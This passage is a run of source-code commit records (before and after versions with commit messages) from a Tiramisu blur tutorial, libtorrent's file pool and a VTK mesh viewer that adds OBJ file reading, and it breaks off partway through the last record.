c_blurx(i, j) +\n               c_blurx(i, j + 1)) \/ ((uint8_t) 3);\n\n    computation c_blury(\"[N,M]->{c_blury[i,j]: 1<i<N-1 and 1<j<M-1}\", e2, true, p_uint8, &blurxy);\n\n\n\n    \/\/ -------------------------------------------------------\n    \/\/ Layer II\n    \/\/ -------------------------------------------------------\n\n    \/\/ Set the schedule of each computation.\n    c_blurx.tile(i, j, 2, 2, i0, j0, i1, j1);\n    c_blurx.tag_parallel_level(i0);\n    c_blury.after(c_blurx, computation::root);\n\n\n\n    \/\/ -------------------------------------------------------\n    \/\/ Layer III\n    \/\/ -------------------------------------------------------\n\n    buffer b_input(\"b_input\", {expr(SIZE0), expr(SIZE1)}, p_uint8, a_input, &blurxy);\n    buffer b_blury(\"b_blury\", {expr(SIZE0), expr(SIZE1)}, p_uint8, a_output, &blurxy);\n    buffer b_blurx(\"b_blurx\", {expr(SIZE0), expr(SIZE1)}, p_uint8, a_temporary, &blurxy);\n\n    \/\/ Map the computations to a buffer.\n    c_input.set_access(\"{c_input[i,j]->b_input[i,j]}\");\n    c_blurx.set_access(\"{c_blurx[i,j]->b_blurx[i,j]}\");\n    c_blury.set_access(\"{c_blury[i,j]->b_blury[i,j]}\");\n\n\n\n    \/\/ -------------------------------------------------------\n    \/\/ Code Generation\n    \/\/ -------------------------------------------------------\n\n    \/\/ Set the arguments to blurxy\n    blurxy.set_arguments({&b_input, &b_blury});\n    \/\/ Generate code\n    blurxy.gen_time_space_domain();\n    blurxy.gen_isl_ast();\n    blurxy.gen_halide_stmt();\n    blurxy.gen_halide_obj(\"build\/generated_fct_developers_tutorial_02.o\");\n\n    \/\/ Some debugging\n    blurxy.dump_iteration_domain();\n    blurxy.dump_halide_stmt();\n\n    \/\/ Dump all the fields of the blurxy class.\n    blurxy.dump(true);\n\n    return 0;\n}\n\/**\n * Current limitations:\n * - Note that the type of the invariants N and M are \"int32_t\". This is\n *   important because these invariants are used later as loop bounds and the\n *   type of the bounds and the iterators should be the same for correct code\n *   generation. This implies that the invariants should be of type \"int32_t\".\n *\/\n<commit_msg>Update tutorial_02.cpp<commit_after>#include <isl\/set.h>\n#include <isl\/union_map.h>\n#include <isl\/union_set.h>\n#include <isl\/ast_build.h>\n#include <isl\/schedule.h>\n#include <isl\/schedule_node.h>\n\n#include <tiramisu\/debug.h>\n#include <tiramisu\/core.h>\n\n#include <string.h>\n#include <Halide.h>\n#include \"halide_image_io.h\"\n\n\/* Halide code.\nFunc blurxy(Func input, Func blur_y) {\n    Func blur_x;\n    Var x, y, xi, yi;\n\n    \/\/ The algorithm - no storage or order\n    blur_x(x, y) = (input(x-1, y) + input(x, y) + input(x+1, y))\/3;\n    blur_y(x, y) = (blur_x(x, y-1) + blur_x(x, y) + blur_x(x, y+1))\/3;\n\n    \/\/ The schedule - defines order, locality; implies storage\n    blur_y.tile(x, y, xi, yi, 256, 32)\n        .vectorize(xi, 8).parallel(y);\n    blur_x.compute_at(blur_y, x).vectorize(x, 8);\n  }\n*\/\n\n#define SIZE0 8\n#define SIZE1 16\n\nusing namespace tiramisu;\n\nint main(int argc, char **argv)\n{\n    \/\/ Set default tiramisu options.\n    global::set_default_tiramisu_options();\n\n\n    \/\/ -------------------------------------------------------\n    \/\/ Layer I\n    \/\/ -------------------------------------------------------\n\n    \/*\n     * Declare a function blurxy.\n     * Declare two arguments (tiramisu buffers) for the function: b_input and b_blury\n     * Declare an invariant for the function.\n     *\/\n    function blurxy(\"blurxy\");\n\n    constant p0(\"N\", expr((int32_t) SIZE0), p_int32, true, NULL, 0, &blurxy);\n    constant p1(\"M\", expr((int32_t) SIZE1), p_int32, true, NULL, 0, &blurxy);\n\n    \/\/ Declare a wrapper around the input.\n    computation c_input(\"[N]->{c_input[i,j]: 0<=i<N and 0<=j<N}\", expr(), false, p_uint8, &blurxy);\n\n    var i(\"i\"), j(\"j\"), i0(\"i0\"), i1(\"i1\"), j0(\"j0\"), j1(\"j1\");\n\n    \/\/ Declare the computations c_blurx and c_blury.\n    expr e1 = (c_input(i - 1, j) +\n               c_input(i    , j) +\n               c_input(i + 1, j)) \/ ((uint8_t) 3);\n\n    computation c_blurx(\"[N,M]->{c_blurx[i,j]: 0<i<N and 0<j<M}\", e1, true, p_uint8, &blurxy);\n\n    expr e2 = (c_blurx(i, j - 1) +\n               c_blurx(i, j) +\n               c_blurx(i, j + 1)) \/ ((uint8_t) 3);\n\n    computation c_blury(\"[N,M]->{c_blury[i,j]: 1<i<N-1 and 1<j<M-1}\", e2, true, p_uint8, &blurxy);\n\n\n\n    \/\/ -------------------------------------------------------\n    \/\/ Layer II\n    \/\/ -------------------------------------------------------\n\n    \/\/ Set the schedule of each computation.\n    c_blurx.tile(i, j, 2, 2, i0, j0, i1, j1);\n    c_blurx.tag_parallel_level(i0);\n    c_blury.after(c_blurx, computation::root);\n\n\n\n    \/\/ -------------------------------------------------------\n    \/\/ Layer III\n    \/\/ -------------------------------------------------------\n\n    buffer b_input(\"b_input\", {expr(SIZE0), expr(SIZE1)}, p_uint8, a_input, &blurxy);\n    buffer b_blury(\"b_blury\", {expr(SIZE0), expr(SIZE1)}, p_uint8, a_output, &blurxy);\n    buffer b_blurx(\"b_blurx\", {expr(SIZE0), expr(SIZE1)}, p_uint8, a_temporary, &blurxy);\n\n    \/\/ Map the computations to a buffer.\n    c_input.set_access(\"{c_input[i,j]->b_input[i,j]}\");\n    c_blurx.set_access(\"{c_blurx[i,j]->b_blurx[i,j]}\");\n    c_blury.set_access(\"{c_blury[i,j]->b_blury[i,j]}\");\n\n\n\n    \/\/ -------------------------------------------------------\n    \/\/ Code Generation\n    \/\/ -------------------------------------------------------\n\n    \/\/ Set the arguments to blurxy\n    blurxy.set_arguments({&b_input, &b_blury});\n    \/\/ Generate code\n    blurxy.gen_time_space_domain();\n    blurxy.gen_isl_ast();\n    blurxy.gen_halide_stmt();\n    blurxy.gen_halide_obj(\"build\/generated_fct_developers_tutorial_02.o\");\n\n    \/\/ Some debugging\n    blurxy.dump_iteration_domain();\n    blurxy.dump_halide_stmt();\n\n    \/\/ Dump all the fields of the blurxy class.\n    blurxy.dump(true);\n\n    return 0;\n}\n\/**\n * Current limitations:\n * - Note that the type of the invariants N and M are \"int32_t\". This is\n *   important because these invariants are used later as loop bounds and the\n *   type of the bounds and the iterators should be the same for correct code\n *   generation. This implies that the invariants should be of type \"int32_t\".\n *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2006, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <boost\/version.hpp>\n#include \"libtorrent\/pch.hpp\"\n#include \"libtorrent\/file_pool.hpp\"\n#include \"libtorrent\/error_code.hpp\"\n\nnamespace libtorrent\n{\n\tboost::shared_ptr<file> file_pool::open_file(void* st, fs::path const& p\n\t\t, int m, error_code& ec)\n\t{\n\t\tTORRENT_ASSERT(st != 0);\n\t\tTORRENT_ASSERT(p.is_complete());\n\t\tTORRENT_ASSERT((m & file::rw_mask) == file::read_only\n\t\t\t|| (m & file::rw_mask) == file::read_write);\n\t\tboost::mutex::scoped_lock l(m_mutex);\n\t\tfile_set::iterator i = m_files.find(p.string());\n\t\tif (i != m_files.end())\n\t\t{\n\t\t\tlru_file_entry& e = i->second;\n\t\t\te.last_use = time_now();\n\n\t\t\tif (e.key != st && ((e.mode & file::rw_mask) != file::read_only\n\t\t\t\t|| (m & file::rw_mask) != file::read_only))\n\t\t\t{\n\t\t\t\t\/\/ this means that another instance of the storage\n\t\t\t\t\/\/ is using the exact same file.\n#if BOOST_VERSION >= 103500\n\t\t\t\tec = error_code(errors::file_collision, libtorrent_category);\n#endif\n\t\t\t\treturn boost::shared_ptr<file>();\n\t\t\t}\n\n\t\t\te.key = st;\n\t\t\t\/\/ if we asked for a file in write mode,\n\t\t\t\/\/ and the cached file is is not opened in\n\t\t\t\/\/ write mode, re-open it\n\t\t\tif (((e.mode & file::rw_mask) != file::read_write)\n\t\t\t\t&& ((m & file::rw_mask) == file::read_write))\n\t\t\t{\n\t\t\t\t\/\/ close the file before we open it with\n\t\t\t\t\/\/ the new read\/write privilages\n\t\t\t\tTORRENT_ASSERT(e.file_ptr.unique());\n\t\t\t\te.file_ptr->close();\n\t\t\t\tif (!e.file_ptr->open(p, m, ec))\n\t\t\t\t{\n\t\t\t\t\tm_files.erase(i);\n\t\t\t\t\treturn boost::shared_ptr<file>();\n\t\t\t\t}\n\t\t\t\tTORRENT_ASSERT(e.file_ptr->is_open());\n\t\t\t\te.mode = m;\n\t\t\t}\n\t\t\tTORRENT_ASSERT((e.mode & file::no_buffer) == (m & file::no_buffer));\n\t\t\treturn e.file_ptr;\n\t\t}\n\t\t\/\/ the file is not in our cache\n\t\tif ((int)m_files.size() >= m_size)\n\t\t{\n\t\t\t\/\/ the file cache is at its maximum size, close\n\t\t\t\/\/ the least recently used (lru) file from it\n\t\t\tremove_oldest();\n\t\t}\n\t\tlru_file_entry e;\n\t\te.file_ptr.reset(new (std::nothrow)file);\n\t\tif (!e.file_ptr)\n\t\t{\n\t\t\tec = error_code(ENOMEM, get_posix_category());\n\t\t\treturn e.file_ptr;\n\t\t}\n\t\tif (!e.file_ptr->open(p, m, ec))\n\t\t\treturn boost::shared_ptr<file>();\n\t\te.mode = m;\n\t\te.key = st;\n\t\tm_files.insert(std::make_pair(p.string(), e));\n\t\tTORRENT_ASSERT(e.file_ptr->is_open());\n\t\treturn e.file_ptr;\n\t}\n\n\tvoid file_pool::remove_oldest()\n\t{\n\t\tfile_set::iterator i = std::min_element(m_files.begin(), m_files.end()\n\t\t\t, boost::bind(&lru_file_entry::last_use, boost::bind(&file_set::value_type::second, _1))\n\t\t\t\t< boost::bind(&lru_file_entry::last_use, boost::bind(&file_set::value_type::second, _2)));\n\t\tif (i == m_files.end()) return;\n\t\tm_files.erase(i);\n\t}\n\n\tvoid file_pool::release(fs::path const& p)\n\t{\n\t\tboost::mutex::scoped_lock l(m_mutex);\n\n\t\tfile_set::iterator i = m_files.find(p.string());\n\t\tif (i != m_files.end()) m_files.erase(i);\n\t}\n\n\tvoid file_pool::release(void* st)\n\t{\n\t\tboost::mutex::scoped_lock l(m_mutex);\n\t\tTORRENT_ASSERT(st != 0);\n\n\t\tfor (file_set::iterator i = m_files.begin();\n\t\t\ti != m_files.end();)\n\t\t{\n\t\t\tif (i->second.key == st)\n\t\t\t\tm_files.erase(i++);\n\t\t\telse\n\t\t\t\t++i;\n\t\t}\n\t}\n\n\tvoid file_pool::resize(int size)\n\t{\n\t\tTORRENT_ASSERT(size > 0);\n\t\tif (size == m_size) return;\n\t\tboost::mutex::scoped_lock l(m_mutex);\n\t\tm_size = size;\n\t\tif (int(m_files.size()) <= m_size) return;\n\n\t\t\/\/ close the least recently used files\n\t\twhile (int(m_files.size()) > m_size)\n\t\t\tremove_oldest();\n\t}\n\n}\n<commit_msg>added missing include<commit_after>\/*\n\nCopyright (c) 2006, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <boost\/version.hpp>\n#include <boost\/bind.hpp>\n#include \"libtorrent\/pch.hpp\"\n#include \"libtorrent\/file_pool.hpp\"\n#include \"libtorrent\/error_code.hpp\"\n\nnamespace libtorrent\n{\n\tboost::shared_ptr<file> file_pool::open_file(void* st, fs::path const& p\n\t\t, int m, error_code& ec)\n\t{\n\t\tTORRENT_ASSERT(st != 0);\n\t\tTORRENT_ASSERT(p.is_complete());\n\t\tTORRENT_ASSERT((m & file::rw_mask) == file::read_only\n\t\t\t|| (m & file::rw_mask) == file::read_write);\n\t\tboost::mutex::scoped_lock l(m_mutex);\n\t\tfile_set::iterator i = m_files.find(p.string());\n\t\tif (i != m_files.end())\n\t\t{\n\t\t\tlru_file_entry& e = i->second;\n\t\t\te.last_use = time_now();\n\n\t\t\tif (e.key != st && ((e.mode & file::rw_mask) != file::read_only\n\t\t\t\t|| (m & file::rw_mask) != file::read_only))\n\t\t\t{\n\t\t\t\t\/\/ this means that another instance of the storage\n\t\t\t\t\/\/ is using the exact same file.\n#if BOOST_VERSION >= 103500\n\t\t\t\tec = error_code(errors::file_collision, libtorrent_category);\n#endif\n\t\t\t\treturn boost::shared_ptr<file>();\n\t\t\t}\n\n\t\t\te.key = st;\n\t\t\t\/\/ if we asked for a file in write mode,\n\t\t\t\/\/ and the cached file is is not opened in\n\t\t\t\/\/ write mode, re-open it\n\t\t\tif (((e.mode & file::rw_mask) != file::read_write)\n\t\t\t\t&& ((m & file::rw_mask) == file::read_write))\n\t\t\t{\n\t\t\t\t\/\/ close the file before we open it with\n\t\t\t\t\/\/ the new read\/write privilages\n\t\t\t\tTORRENT_ASSERT(e.file_ptr.unique());\n\t\t\t\te.file_ptr->close();\n\t\t\t\tif (!e.file_ptr->open(p, m, ec))\n\t\t\t\t{\n\t\t\t\t\tm_files.erase(i);\n\t\t\t\t\treturn boost::shared_ptr<file>();\n\t\t\t\t}\n\t\t\t\tTORRENT_ASSERT(e.file_ptr->is_open());\n\t\t\t\te.mode = m;\n\t\t\t}\n\t\t\tTORRENT_ASSERT((e.mode & file::no_buffer) == (m & file::no_buffer));\n\t\t\treturn e.file_ptr;\n\t\t}\n\t\t\/\/ the file is not in our cache\n\t\tif ((int)m_files.size() >= m_size)\n\t\t{\n\t\t\t\/\/ the file cache is at its maximum size, close\n\t\t\t\/\/ the least recently used (lru) file from it\n\t\t\tremove_oldest();\n\t\t}\n\t\tlru_file_entry e;\n\t\te.file_ptr.reset(new (std::nothrow)file);\n\t\tif (!e.file_ptr)\n\t\t{\n\t\t\tec = error_code(ENOMEM, get_posix_category());\n\t\t\treturn e.file_ptr;\n\t\t}\n\t\tif (!e.file_ptr->open(p, m, ec))\n\t\t\treturn boost::shared_ptr<file>();\n\t\te.mode = m;\n\t\te.key = st;\n\t\tm_files.insert(std::make_pair(p.string(), e));\n\t\tTORRENT_ASSERT(e.file_ptr->is_open());\n\t\treturn e.file_ptr;\n\t}\n\n\tvoid file_pool::remove_oldest()\n\t{\n\t\tfile_set::iterator i = std::min_element(m_files.begin(), m_files.end()\n\t\t\t, boost::bind(&lru_file_entry::last_use, boost::bind(&file_set::value_type::second, _1))\n\t\t\t\t< boost::bind(&lru_file_entry::last_use, boost::bind(&file_set::value_type::second, _2)));\n\t\tif (i == m_files.end()) return;\n\t\tm_files.erase(i);\n\t}\n\n\tvoid file_pool::release(fs::path const& p)\n\t{\n\t\tboost::mutex::scoped_lock l(m_mutex);\n\n\t\tfile_set::iterator i = m_files.find(p.string());\n\t\tif (i != m_files.end()) m_files.erase(i);\n\t}\n\n\tvoid file_pool::release(void* st)\n\t{\n\t\tboost::mutex::scoped_lock l(m_mutex);\n\t\tTORRENT_ASSERT(st != 0);\n\n\t\tfor (file_set::iterator i = m_files.begin();\n\t\t\ti != m_files.end();)\n\t\t{\n\t\t\tif (i->second.key == st)\n\t\t\t\tm_files.erase(i++);\n\t\t\telse\n\t\t\t\t++i;\n\t\t}\n\t}\n\n\tvoid file_pool::resize(int size)\n\t{\n\t\tTORRENT_ASSERT(size > 0);\n\t\tif (size == m_size) return;\n\t\tboost::mutex::scoped_lock l(m_mutex);\n\t\tm_size = size;\n\t\tif (int(m_files.size()) <= m_size) return;\n\n\t\t\/\/ close the least recently used files\n\t\twhile (int(m_files.size()) > m_size)\n\t\t\tremove_oldest();\n\t}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ VTK Viewer\n\/\/ Written 2012-2013 Hal Canary <http:\/\/cs.unc.edu\/~hal>\n\/\/ Copyright 2012-2013 University of North Carolina at Chapel Hill.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\"); you\n\/\/ may not use this file except in compliance with the License.  You\n\/\/ may obtain a copy of the License at\n\/\/\n\/\/   LICENSE.md in this repository or\n\/\/   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n\/\/ implied.  See the License for the specific language governing\n\/\/ permissions and limitations under the License.\n\n#include \"VTKViewer.h\"\n#include <vtkPolyData.h>\n#include <vtkPolyDataReader.h>\n#include <vtkPLYReader.h>\n#include <vtkXMLPolyDataReader.h>\n#include <vtkRenderWindow.h>\n#include <vtkPolyDataMapper.h>\n#include <vtkProperty.h>\n#include <vtkColorTransferFunction.h>\n#include <vtkPolyDataNormals.h>\n#include <vtkPointData.h>\n#include <vtkVersion.h>\n#if VTK_MAJOR_VERSION <= 5\n  #define setInputData(x,y) ((x)->SetInput(y))\n#else\n  #define setInputData(x,y) ((x)->SetInputData(y))\n#endif\n#include <vtkCamera.h>\n\n#include <iostream>\nusing std::cout;\n\nVTKViewer::VTKViewer() :\n  renderer(vtkSmartPointer < vtkRenderer >::New())\n{\n  vtkSmartPointer < vtkRenderWindow > renderWindow =\n    vtkSmartPointer < vtkRenderWindow >::New();\n  renderWindow->StereoCapableWindowOn();\n  renderWindow->SetStereoTypeToRedBlue();\n  renderWindow->AddRenderer(renderer);\n\n  renderer->ResetCamera();\n  this->resize(480, 480);\n  this->setMinimumSize(480, 360);\n  this->SetRenderWindow(renderWindow);\n  connect(&(this->timer), SIGNAL(timeout()), this, SLOT(rotate()));\n  this->timer.start(66);\n}\nvoid VTKViewer::add(vtkPolyData * polyData)\n{\n  double range[2];\n  polyData->GetScalarRange(range);\n  vtkSmartPointer< vtkColorTransferFunction > colorMap\n    = vtkSmartPointer< vtkColorTransferFunction >::New();\n  colorMap->SetColorSpaceToLab();\n  colorMap->AddRGBPoint(range[0], 0.865, 0.865, 0.865);\n  colorMap->AddRGBPoint(range[1], 0.706, 0.016, 0.150);\n  colorMap->Build();\n\n  vtkSmartPointer < vtkPolyDataMapper > mapper =\n    vtkSmartPointer < vtkPolyDataMapper >::New();\n  mapper->SetLookupTable(colorMap);\n  if (polyData->GetPointData()->GetNormals() == NULL)\n    {\n    vtkSmartPointer< vtkPolyDataNormals > polyDataNormals\n      = vtkSmartPointer< vtkPolyDataNormals >::New();\n    setInputData(polyDataNormals, polyData);\n    polyDataNormals->SetFeatureAngle(90.0);\n    mapper->SetInputConnection(polyDataNormals->GetOutputPort());\n    }\n  else\n    {\n    setInputData(mapper, polyData);\n    }\n  vtkSmartPointer < vtkActor > actor =\n    vtkSmartPointer < vtkActor >::New();\n  actor->GetProperty()->SetPointSize(3);\n  actor->SetMapper(mapper);\n  this->renderer->AddActor(actor);\n}\nvoid VTKViewer::add(const char * file_name)\n{\n  \/\/ TODO:  add logic for other file formats.\n  vtkSmartPointer < vtkPolyData > polyData =\n    vtkSmartPointer< vtkPolyData >::New();\n  QString filename = QString::fromUtf8(file_name);\n  if (filename.endsWith(\".vtp\") || filename.endsWith(\".VTP\"))\n    {\n    vtkSmartPointer< vtkXMLPolyDataReader > reader =\n      vtkSmartPointer< vtkXMLPolyDataReader >::New();\n    reader->SetFileName(file_name);\n    reader->Update();\n    polyData->ShallowCopy(reader->GetOutput());\n    }\n  else if (filename.endsWith(\".vtk\") || filename.endsWith(\".VTK\"))\n    {\n    vtkSmartPointer< vtkPolyDataReader > reader =\n      vtkSmartPointer< vtkPolyDataReader >::New();\n    reader->SetFileName(file_name);\n    reader->Update();\n    polyData->ShallowCopy(reader->GetOutput());\n    }\n  else if (filename.endsWith(\".ply\") || filename.endsWith(\".PLY\"))\n    {\n    vtkSmartPointer< vtkPLYReader > reader =\n      vtkSmartPointer< vtkPLYReader >::New();\n    reader->SetFileName(file_name);\n    reader->Update();\n    polyData->ShallowCopy(reader->GetOutput());\n    }\n  else\n    {\n    assert(\"BAD FILE NAME.  Should end in VTK, VTP, or PLY.\" && 0);\n    return;\n    }\n  this->add(polyData);\n}\n\nvoid VTKViewer::toggle()\n{\n  if (this->timer.isActive())\n    this->timer.stop();\n  else\n    this->timer.start(33);\n}\n\nvoid VTKViewer::rotate()\n{\n  vtkCamera * camera = this->renderer->GetActiveCamera();\n  assert(camera != NULL);\n  camera->Azimuth(1);\n  this->renderer->GetRenderWindow()->Render();\n}\n\nvoid VTKViewer::stereo()\n{\n  vtkRenderWindow * rw = this->renderer->GetRenderWindow();\n  assert(rw != NULL);\n  rw->SetStereoRender(! rw->GetStereoRender());\n  rw->Render();\n}\n\nvoid VTKViewer::changeStereoType()\n{\n  vtkRenderWindow * rw = this->renderer->GetRenderWindow();\n  assert(rw != NULL);\n  int type = rw->GetStereoType();\n  type = (type % 9) + 1;\n  rw->SetStereoType(type);\n  switch(type)\n    {\n    case 1: cout << \"VTK_STEREO_CRYSTAL_EYES\\n\"; break;\n    case 2: cout << \"VTK_STEREO_RED_BLUE\\n\"; break;\n    case 3: cout << \"VTK_STEREO_INTERLACED\\n\"; break;\n    case 4: cout << \"VTK_STEREO_LEFT\\n\"; break;\n    case 5: cout << \"VTK_STEREO_RIGHT\\n\"; break;\n    case 6: cout << \"VTK_STEREO_DRESDEN\\n\"; break;\n    case 7: cout << \"VTK_STEREO_ANAGLYPH\\n\"; break;\n    case 8: cout << \"VTK_STEREO_CHECKERBOARD\\n\"; break;\n    case 9: cout << \"VTK_STEREO_SPLITVIEWPORT_HORIZONTAL\\n\"; break;\n    }\n  rw->Render();\n}\n<commit_msg>Read .OBJ files.<commit_after>\/\/ VTK Viewer\n\/\/ Written 2012-2013 Hal Canary <http:\/\/cs.unc.edu\/~hal>\n\/\/ Copyright 2012-2013 University of North Carolina at Chapel Hill.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\"); you\n\/\/ may not use this file except in compliance with the License.  You\n\/\/ may obtain a copy of the License at\n\/\/\n\/\/   LICENSE.md in this repository or\n\/\/   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n\/\/ implied.  See the License for the specific language governing\n\/\/ permissions and limitations under the License.\n\n#include \"VTKViewer.h\"\n#include <vtkPolyData.h>\n#include <vtkPolyDataReader.h>\n#include <vtkPLYReader.h>\n#include <vtkXMLPolyDataReader.h>\n#include <vtkRenderWindow.h>\n#include <vtkPolyDataMapper.h>\n#include <vtkProperty.h>\n#include <vtkColorTransferFunction.h>\n#include <vtkPolyDataNormals.h>\n#include <vtkPointData.h>\n#include <vtkOBJReader.h>\n#include <vtkVersion.h>\n#if VTK_MAJOR_VERSION <= 5\n  #define setInputData(x,y) ((x)->SetInput(y))\n#else\n  #define setInputData(x,y) ((x)->SetInputData(y))\n#endif\n#include <vtkCamera.h>\n\n#include <iostream>\nusing std::cout;\n\nVTKViewer::VTKViewer() :\n  renderer(vtkSmartPointer < vtkRenderer >::New())\n{\n  vtkSmartPointer < vtkRenderWindow > renderWindow =\n    vtkSmartPointer < vtkRenderWindow >::New();\n  renderWindow->StereoCapableWindowOn();\n  renderWindow->SetStereoTypeToRedBlue();\n  renderWindow->AddRenderer(renderer);\n\n  renderer->ResetCamera();\n  this->resize(480, 480);\n  this->setMinimumSize(480, 360);\n  this->SetRenderWindow(renderWindow);\n  connect(&(this->timer), SIGNAL(timeout()), this, SLOT(rotate()));\n  this->timer.start(66);\n}\nvoid VTKViewer::add(vtkPolyData * polyData)\n{\n  double range[2];\n  polyData->GetScalarRange(range);\n  vtkSmartPointer< vtkColorTransferFunction > colorMap\n    = vtkSmartPointer< vtkColorTransferFunction >::New();\n  colorMap->SetColorSpaceToLab();\n  colorMap->AddRGBPoint(range[0], 0.865, 0.865, 0.865);\n  colorMap->AddRGBPoint(range[1], 0.706, 0.016, 0.150);\n  colorMap->Build();\n\n  vtkSmartPointer < vtkPolyDataMapper > mapper =\n    vtkSmartPointer < vtkPolyDataMapper >::New();\n  mapper->SetLookupTable(colorMap);\n  if (polyData->GetPointData()->GetNormals() == NULL)\n    {\n    vtkSmartPointer< vtkPolyDataNormals > polyDataNormals\n      = vtkSmartPointer< vtkPolyDataNormals >::New();\n    setInputData(polyDataNormals, polyData);\n    polyDataNormals->SetFeatureAngle(90.0);\n    mapper->SetInputConnection(polyDataNormals->GetOutputPort());\n    }\n  else\n    {\n    setInputData(mapper, polyData);\n    }\n  vtkSmartPointer < vtkActor > actor =\n    vtkSmartPointer < vtkActor >::New();\n  actor->GetProperty()->SetPointSize(3);\n  actor->SetMapper(mapper);\n  this->renderer->AddActor(actor);\n}\nvoid VTKViewer::add(const char * file_name)\n{\n  \/\/ TODO:  add logic for other file formats.\n  vtkSmartPointer < vtkPolyData > polyData =\n    vtkSmartPointer< vtkPolyData >::New();\n  QString filename = QString::fromUtf8(file_name);\n  if (filename.endsWith(\".vtp\") || filename.endsWith(\".VTP\"))\n    {\n    vtkSmartPointer< vtkXMLPolyDataReader > reader =\n      vtkSmartPointer< vtkXMLPolyDataReader >::New();\n    reader->SetFileName(file_name);\n    reader->Update();\n    polyData->ShallowCopy(reader->GetOutput());\n    }\n  else if (filename.endsWith(\".vtk\") || filename.endsWith(\".VTK\"))\n    {\n    vtkSmartPointer< vtkPolyDataReader > reader =\n      vtkSmartPointer< vtkPolyDataReader >::New();\n    reader->SetFileName(file_name);\n    reader->Update();\n    polyData->ShallowCopy(reader->GetOutput());\n    }\n  else if (filename.endsWith(\".ply\") || filename.endsWith(\".PLY\"))\n    {\n    vtkSmartPointer< vtkPLYReader > reader =\n      vtkSmartPointer< vtkPLYReader >::New();\n    reader->SetFileName(file_name);\n    reader->Update();\n    polyData->ShallowCopy(reader->GetOutput());\n    }\n  else if (filename.endsWith(\".obj\") || filename.endsWith(\".OBJ\"))\n    {\n    vtkSmartPointer< vtkOBJReader > reader =\n      vtkSmartPointer< vtkOBJReader >::New();\n    reader->SetFileName(file_name);\n    reader->Update();\n    polyData->ShallowCopy(reader->GetOutput());\n    }\n  else\n    {\n    assert(\"BAD FILE NAME.  Should end in VTK, VTP, or PLY.\" && 0);\n    return;\n    }\n  this->add(polyData);\n}\n\nvoid VTKViewer::toggle()\n{\n  if (this->timer.isActive())\n    this->timer.stop();\n  else\n    this->timer.start(33);\n}\n\nvoid VTKViewer::rotate()\n{\n  vtkCamera * camera = this->renderer->GetActiveCamera();\n  assert(camera != NULL);\n  camera->Azimuth(1);\n  this->renderer->GetRenderWindow()->Render();\n}\n\nvoid VTKViewer::stereo()\n{\n  vtkRenderWindow * rw = this->renderer->GetRenderWindow();\n  assert(rw != NULL);\n  rw->SetStereoRender(! rw->GetStereoRender());\n  rw->Render();\n}\n\nvoid VTKViewer::changeStereoType()\n{\n  vtkRenderWindow * rw = this->renderer->GetRenderWindow();\n  assert(rw != NULL);\n  int type = rw->GetStereoType();\n  type = (type % 